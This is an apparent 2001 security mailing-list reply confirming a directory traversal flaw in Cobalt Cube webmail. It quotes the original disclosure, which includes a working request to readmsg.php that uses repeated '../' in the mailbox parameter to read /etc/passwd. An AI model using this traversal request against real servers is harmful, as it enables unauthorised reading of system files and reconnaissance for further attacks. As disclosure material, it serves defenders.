Re: Cobalt Cube Webmail directory traversal

From: John (johnsat_private)
Date: Tue Jul 10 2001 - 15:37:55 PDT

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    I confirmed this on Cobalt's, now Sun, Cube III.
    
    Paul Marshall wrote:
    > 
    > At 08:41 05/07/2001, you wrote:
    > I just got a new Cobalt Cube today and I have been poking around at it
    > for security issues... I noticed this minor issue in the webmail system.
    > Your
    > users are not aloud to have shell access by default however if they
    > malform their mailbox requests they can read local files with the perms
    > of the webserver. If your users have shell access they will not really
    > be gaining anything however this could be used to remotely gather
    > information for a future attack.
    >
    > [admin admin]$ uname -a
    > Linux cube.ckfr.com 2.2.16C7 #1 Fri Sep 8 15:58:03 PDT 2000 i586 unknown
    > [admin admin]$ cat /etc/issue
    >
    > Cobalt Linux release 6.0 (Carmel)
    > Kernel 2.2.16C7 on an i586
    >
    > http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../
    > ../../../../../../../../etc/passwd&id=1
    >
    > -KF
    
    -- 
    The events which transpired five thousand years ago;
    Five years ago or five minutes ago, have determined
    what will happen five minutes from now; five years
    From now or five thousand years from now.
    All history is a current event.
    - Dr John Henrik Clake -
    



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